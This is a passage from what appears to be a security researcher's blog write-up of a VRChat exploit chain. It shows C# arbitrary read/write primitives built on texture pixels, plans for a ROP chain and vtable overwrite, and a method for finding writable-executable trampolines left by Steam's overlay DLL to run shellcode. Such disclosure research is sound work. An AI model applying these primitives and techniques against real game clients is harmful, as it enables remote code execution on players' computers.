&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    var&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; arbTex&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;GetPixels32&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 24&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 48&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 56&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; write64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; val&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x128&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFFFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x12C&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    var&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Color32&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Color32&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;), (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;), (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;), (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 24&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Color32&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;), (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;), (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 48&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;), (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt;)((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 56&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    arbTex&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;SetPixels32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, I can use these primitives to set up a ROP chain and overwrite the target texture&#x27;s vtable to pivot the stack and run shellcode.&lt;&#x2F;p&gt;
&lt;p&gt;...&lt;&#x2F;p&gt;
&lt;p&gt;...&lt;&#x2F;p&gt;
&lt;p&gt;Despite &lt;code&gt;UnityPlayer.dll&lt;&#x2F;code&gt; being a relatively large binary and having plenty of ROP gadgets, I still don&#x27;t really want to write a ROP chain if I don&#x27;t have to. It would be nice if I had some convenient writable executable memory to write my shellcode to instead of having to write yet another &lt;code&gt;VirtualAlloc&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;VirtualProtect&lt;&#x2F;code&gt; ROP chain. (Un)fortunately, VRChat uses &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.unity3d.com&#x2F;Manual&#x2F;IL2CPP.html&quot;&gt;IL2CPP&lt;&#x2F;a&gt;, which means all of the game&#x27;s C# code is precompiled and there won&#x27;t be anything from a JIT.&lt;&#x2F;p&gt;
&lt;p&gt;Still, it can&#x27;t hurt to check, right?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;rwx.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;why-rop-when-you-have-steam&quot;&gt;Why ROP When You Have Steam&lt;a class=&quot;zola-anchor&quot; href=&quot;#why-rop-when-you-have-steam&quot; aria-label=&quot;Anchor link for: why-rop-when-you-have-steam&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;Like most modern PC games, VRChat is on Steam, which has an in-game overlay accessible by pressing Shift+Tab. In order to be able to do this on almost every game without explicit integration from the original developers, the overlay DLL &lt;em&gt;(&lt;code&gt;GameOverlayRenderer64.dll&lt;&#x2F;code&gt;)&lt;&#x2F;em&gt; has to hook a few functions to intercept various things such as input. For some reason, it seems like Valve decided to write their own hooking library. The anatomy of a hooked function looks something like this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;hook.svg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The trampoline region is allocated within 2GB of the hooked function and exists because of an x86_64 limitation. Hooks usually want to overwrite as few instructions as possible in order to avoid issues, so a 5-byte jump is used for the initial hook jump.&lt;&#x2F;p&gt;
&lt;p&gt;However, there&#x27;s only 4 bytes for a signed relative offset and the destination is usually over 2GB away, which is why the hook has to &quot;bounce&quot; off of the trampoline region in order to reach it via a larger jump (6-byte instruction + 8-byte pointer). It also stores the instructions that the initial jump overwrote in order to make sure the hook can still call the original function.&lt;&#x2F;p&gt;
&lt;p&gt;For some reason, Valve made the &quot;interesting&quot; design decision of making that trampoline region readable, writable, and executable at all times. This effectively turns these regions into free &quot;Get Out of ROP Free&quot; cards that exist on every 64-bit Steam game &lt;del&gt;as long as the overlay is enabled&lt;&#x2F;del&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE (2024&#x2F;11&#x2F;23): &lt;code&gt;GameOverlayRenderer64.dll&lt;&#x2F;code&gt; still installs its hooks regardless of whether the overlay or Steam Input are enabled, as long as the game was launched through Steam or it initializes the Steam API. Thanks &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;invoxiplaygames.uk&#x2F;&quot;&gt;Emma&lt;&#x2F;a&gt;!&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The screenshot also shows one of these trampoline regions being allocated for &lt;code&gt;xinput1_3.dll&lt;&#x2F;code&gt;, a DLL notoriously known for not having ASLR enabled for some reason. For this exploit, I didn&#x27;t want to rely on that region always being at the same address because it&#x27;s entirely possible that something else could take up that region of memory before XInput gets loaded or the hook gets installed. Besides, I didn&#x27;t want this exploit chain to be &lt;em&gt;that&lt;&#x2F;em&gt; easy.&lt;&#x2F;p&gt;
&lt;p&gt;Instead, I opted to get one of the hooked functions from &lt;code&gt;UnityPlayer.dll&lt;&#x2F;code&gt;&#x27;s import address table and read the jump instruction for the hook &lt;em&gt;(&lt;code&gt;jmp hook_entry&lt;&#x2F;code&gt;)&lt;&#x2F;em&gt; in order to find one of these magic RWX regions. This has the benefit of being able to check if the overlay is actually loaded before trying to write any shellcode instead of taking a leap of faith and blindly writing to a RWX region that may or may not be there. From here, code execution is trivial and the exploit is complete.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private const uint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; LOADLIBRARYEXW_RVA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x185F658&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private const uint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; GETMODULEHANDLEA_RVA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x185F6E8&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private const uint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; GETPROCADDRESS_RVA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x185F7D0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private const uint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; SCRATCH_RVA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x1BF00B0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt; &#x2F;&#x2F; Can be any random part of .data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Get LoadLibraryExW&amp;#39;s address from UnityPlayer.dll&amp;#39;s IAT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; hook_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; read64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; LOADLIBRARYEXW_RVA&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Find one of GameOverlayRenderer64&amp;#39;s RWX trampoline regions using the hook jump&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; hook&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; read64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;hook_addr&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;hook&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xE9&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
